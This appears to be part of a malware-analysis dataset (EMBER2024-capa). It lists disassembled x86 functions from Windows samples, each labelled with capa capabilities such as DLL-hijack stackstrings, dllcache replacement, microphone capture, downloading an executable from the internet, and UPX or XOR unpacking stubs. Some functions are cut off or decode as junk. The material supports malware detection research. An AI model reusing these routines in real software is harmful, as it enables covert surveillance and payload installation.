joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015660
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov byte [ebp - 0x2c], 0x50
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x67
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x6d
mov byte [ebp - 0x25], 0x20
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1e], 0x49
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x45
mov byte [ebp - 0x14], 0x78
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x5c
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x70
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0
push 0x104
push 0
lea eax, [ebp - 0x130]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 3
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10015780
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
push str._s_lang.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10015830
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0x104
push 0
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x20c]
push eax
push str._s___d.bak.tem
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 4]
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10015990
Capabilities:
Copy file
Get common file path
Move file
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
call fcn.10014a50
push 0x1002179c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
push str._s.dll
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push str.old_dll_name:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 4]
add edx, 4
push edx
mov ecx, dword [ebp - 4]
call fcn.10015a80
push eax
lea eax, [ebp - 0x108]
push eax
push str._sdllcache_s
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 0
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 4]
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10015b80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
mov dl, byte [ebp + 0x20]
mov byte [ebp - 0xc], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x10015ae0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10015c00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], 0x128
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10015cb0
lea ecx, [ebp - 0x5c]
call fcn.10015cc0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
add edx, 0x24
push edx
call dword [ebp - 0x5c]
add esp, 8
test eax, eax
jne 0x10015c7a
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
jmp 0x10015cb3
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10015cb0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
add edx, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10015cae
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
jmp 0x10015cb3
jmp 0x10015c7a
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10015cf0
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 5
push 0xffffffffffffffff
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10015d50
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 0xc]
jmp 0x10015d52
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100161b0
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 4], eax
push str.Winlogon
call fcn.10016140
add esp, 4
test eax, eax
jne 0x100161de
xor eax, eax
jmp 0x1001620c
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 4], 0
je 0x10016207
mov eax, dword [ebp - 4]
push eax
call fcn.100160d0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10016220
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
push ebx
push esi
push edi
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x418], 1
mov dword [ebp - 0x41c], 1
lea ecx, [ebp - 0x46c]
call fcn.10011afb
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [ebp - 0x450]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10016282
xor al, al
jmp 0x1001638f
push 0
push closesocket
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x440]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100162ab
xor al, al
jmp 0x1001638f
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x1001636f
push 0x400
push 0
lea eax, [ebp - 0x40c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x410]
push ecx
push 0x400
lea edx, [ebp - 0x40c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x418], 0
je 0x1001632d
mov ecx, dword [ebp - 0x40c]
and ecx, 0xffff
cmp ecx, 0x5a4d
je 0x1001632d
mov dword [ebp - 0x41c], 0
jmp 0x10016365
mov dword [ebp - 0x418], 0
push 0
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x410]
push eax
lea ecx, [ebp - 0x40c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x410], 0
ja 0x100162d1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x444]
mov edx, dword [ebp - 4]
push edx
call dword [ebp - 0x444]
xor eax, eax
cmp dword [ebp - 0x41c], 0
setne al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017380
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x1001739d
xor al, al
jmp 0x100174b6
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 4
mov ecx, dword [ebp - 4]
push ecx
push 0x100175e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 4]
mov dword [edx + 0x2c], eax
push 0x20000
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x46
push ecx
push 0xffff
mov edx, dword [ebp - 4]
add edx, 0x18
push edx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100173f7
xor al, al
jmp 0x100174b6
mov dword [ebp - 0x10], 0
jmp 0x10017409
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10017476
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x30]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx*4 + 0x30]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x30]
mov dword [eax + 0x10], 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x30]
mov dword [eax + 0x14], 0
push 0x20
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x30]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
jmp 0x10017400
push 0x20
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x30]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStart]
mov ecx, dword [ebp - 4]
mov byte [ecx + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b4f60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x72000]
push edi
jmp 0x4b4f7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b4f81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b4f70
mov eax, 1
add ebx, ebx
jne 0x4b4f93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b4fa4
jne 0x4b4fc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b4fc3
dec eax
add ebx, ebx
jne 0x4b4fb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b4f88
add ebx, ebx
jne 0x4b4fbf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b5015
xor ecx, ecx
sub eax, 3
jb 0x4b4fdb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b504a
sar eax, 1
mov ebp, eax
jmp 0x4b4fe6
add ebx, ebx
jne 0x4b4fe6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b4fb4
inc ecx
add ebx, ebx
jne 0x4b4ff4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b4fb4
add ebx, ebx
jne 0x4b5001
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b4ff6
jne 0x4b5012
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b4ff6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b5034
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b5026
jmp 0x4b4f76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b5034
add edi, ecx
jmp 0x4b4f76
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b5052
cmp byte [edi], 0x13
jne 0x4b5052
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b5057
lea edi, [esi + 0xb0000]
mov eax, dword [edi]
or eax, eax
je 0x4b50cf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb7cf4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb7e48]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b5084
mov ecx, edi
jns 0x4b50b3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb7e4c]
or eax, eax
je 0x4b50c9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b50a1
call dword [esi + 0xb7e5c]
mov ebp, dword [esi + 0xb7e50]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b5103
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x40a4a1
Capabilities:
Encode data using base64
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0xc]
cmp dword [esi + 8], eax
je 0x40a52b
push 0xc
call fcn.0041fddb
mov ebx, dword [ebp + 8]
mov edi, eax
pop ecx
movzx ecx, word [ebx + 8]
mov eax, ecx
mov word [edi + 8], cx
mov cx, word [ebx + 0xa]
mov word [edi + 0xa], cx
cmp ax, 0x3f
jle fcn.0040a501
lea ecx, [eax + eax]
push 8
pop eax
cmp ecx, eax
jb 0x40a537
mov eax, ecx
xor ecx, ecx
mov dword [esi + 0xc], eax
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041fe0b
cmp dword [esi + 4], 0
mov edi, eax
pop ecx
je 0x40a576
mov eax, dword [esi + 8]
test eax, eax
je 0x40a576
shl eax, 2
push eax
push dword [esi + 4]
push edi
call fcn.00420e20
push dword [esi + 4]
call fcn.0041fe14
add esp, 0x10
mov dword [esi + 4], edi
jmp 0x40a4b1
Function at 0x40bf40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov eax, dword [ebx + 4]
mov edi, ecx
sub esp, 0x10
mov dword [esp + 0x1c], edi
mov edx, dword [esi]
mov dword [esp + 0x3c], 3
mov eax, dword [eax + edx*4]
mov edx, esp
movsx ecx, word [eax + 0xa]
mov dword [esp + 0x28], ecx
Function at 0x40caf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add cl, ch
push es
stc
invalid
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
mov eax, dword [edi]
dec eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 1
mov dword [ebp - 8], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 1
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 1
cmp word [eax + 8], 0x33
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x60], 3
jne 0x450a96
mov esi, 2
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], esi
cmp dword [0x4d2380], ebx
je 0x40cf73
xor al, al
test al, al
jne 0x40cf7a
mov eax, dword [0x4d2384]
cmp byte [0x4d2389], bl
jne 0x450a9d
push eax
push ecx
mov dword [ebp + 0xc], eax
call fcn.0040bbe0
test al, al
je 0x40cf51
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
test eax, eax
je 0x40cf51
mov ebx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
and ebx, 0xff00
xor edx, edx
jmp 0x40cbc8
mov al, 1
jmp 0x40cb84
lea eax, [ebp - 0xc]
mov ecx, 0x68bfffb
call 0xb3c91a76
mov esi, 0xff50fffb
je 0x40c956
push eax
call dword [0x49c470]
Function at 0x41e797
Capabilities:
Resolve function by parsing pe exports

Disassembly:
dec ecx
add byte [ebx + 0x24448900], cl
and al, 0xe8
sub dword [esi], eax
add byte [eax], al
Function at 0x4696de
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [ebx]
push 2
pop edx
mov esi, dword [ecx + edi]
lea eax, [ecx + 4]
mov dword [ebx], eax
xor ecx, ecx
mov dword [ebp + 8], esi
lea eax, [esi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041fe6b
mov ecx, dword [ebx]
add esi, esi
add ecx, edi
mov edi, eax
push esi
push ecx
push edi
call fcn.00420e80
add dword [ebx], esi
xor eax, eax
mov ecx, dword [ebp + 8]
add esp, 0x10
mov word [esi + edi], ax
test ecx, ecx
jle 0x469739
xor word [edi + eax*2], cx
inc eax
cmp eax, ecx
jl 0x469730
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x471fbc
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub dword [0x4d06e0], 1
jne 0x471fca
call fcn.004720a6
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret

Function at 0x472002
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
sub dword [0x4d06e0], 1
jne 0x472015
call fcn.004720a6
mov eax, dword [0x4d2ff4]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4d2ff4], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov dword [ebp - 4], eax
fild dword [ebp - 4]
jns 0x472058
fadd qword [0x4c81c0]
fstp qword [ebp - 8]
fld qword [ebp - 8]
fmul qword [0x4c8190]
leave
ret

Function at 0x472066
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
xor esi, esi
mov dword [0x4d2630], ecx
inc esi
mov edx, esi
mov eax, dword [edx*4 + 0x4d262c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x4d2630], eax
inc edx
cmp edx, 0x270
jl 0x472072
mov dword [0x4d06e0], esi
mov dword [0x4d2ff0], esi
pop esi
ret
Function at 0x4720a6
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4d2ff0], 0
push esi
push edi
mov esi, 0x4d2630
jne 0x4720c9
push 0
call fcn.0042e548
pop ecx
mov ecx, eax
call fcn.00472066
mov dword [0x4d06e0], 0x270
mov edx, 0x1f1f00e3
mov dword [0x4d2ff4], esi
mov eax, dword [esi + 4]
mov ecx, dword [esi]
xor ecx, eax
and al, 1
and ecx, 0x7ffffffe
movzx eax, al
xor ecx, dword [esi]
shr ecx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi + 0x634]
mov dword [esi], ecx
add esi, 4
sub edx, 1
jne 0x4720de
mov eax, dword [esi]
mov dword [ebp - 4], 0x300018c
mov edi, dword [esi + 4]
mov ecx, eax
xor ecx, edi
and ecx, 0x7ffffffe
xor ecx, eax
mov eax, edi
and al, 1
shr ecx, 1
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
mov eax, edi
xor ecx, dword [esi - 0x38c]
sub dword [ebp - 4], 1
mov dword [esi], ecx
lea esi, [esi + 4]
jne 0x472118
mov eax, dword [0x4d2630]
mov ecx, edi
xor ecx, eax
and al, 1
and ecx, 0x7ffffffe
movzx eax, al
xor ecx, edi
shr ecx, 1
neg eax
pop edi
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [esi - 0x38c]
mov dword [esi], ecx
pop esi
leave
ret
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x4f38129c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x21882226
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219